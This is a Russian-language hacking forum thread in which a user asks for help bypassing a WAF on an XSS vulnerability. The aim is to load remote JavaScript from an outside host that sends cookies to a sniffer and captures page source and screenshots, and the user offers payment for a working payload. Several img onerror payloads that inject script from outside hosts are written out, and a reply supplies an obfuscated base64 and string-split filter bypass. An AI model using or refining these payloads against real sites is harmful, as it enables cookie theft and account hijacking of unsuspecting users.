[XSS вектор] Подгрузка JS через <img>. Обход фильтров.

Discussion in 'Песочница' started by Elva, 24 Nov 2017.

  1. Elva

    Elva New Member

    Joined:
    1 Jan 2016
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    Приветствую.
    Имеется: XSS вида, https://host.com/parametr?i='/>XSS
    Задача
    Обойти фильтр и подгрузить js код с хоста https://site.com/, в нем передача cookie на сниффер, парсинг исходного кода страницы и скриншот страницы.

    Работает: <style>, <img src=x onerror=alert('xss') />

    Фильтр: WAF фильтрует теги указанные ниже, в base64 не отрабатывает.


    Code:
    <script></script>
    
    Code:
     javascript: 
    Code:
    var s = document.createElement('script'); s.src='https://domen.com/1
    
    Code:
    <img src=x id=var a=document.createElement("script");a.src="https://site.com";document.body.appendChild(a);:; onerror=eval(atob(this.id))>
    
    Пробовал использовать пейлоады с OWASP, работают практически все html теги, он img до input..
    Буду премного благодарен за помощь в написании правильного пайлода с img для исполнения js кода с хоста.

    p.s за работоспособное решение оплачу 10$ на кофе ;)
     
    #1 Elva, 24 Nov 2017
    Last edited: 24 Nov 2017
  2. Elva

    Elva New Member

    Joined:
    1 Jan 2016
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    up. сработал
    Code:
     <img src=x.jpg onerror=$.get("//host.com"); /> 
    но его блокирует браузер Opera :(
     
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Серебрянной пули нет, нужно фантазировать. Например:
    Code:
    <img src=x onerror=document['w'+'rite'](top['at'+'ob']('PHNjcmlwdD5hbGVydCgnSGVsbG8nKTs8L3NjcmlwdD4'));>
    
     
    z3u5, Elva and t0ma5 like this.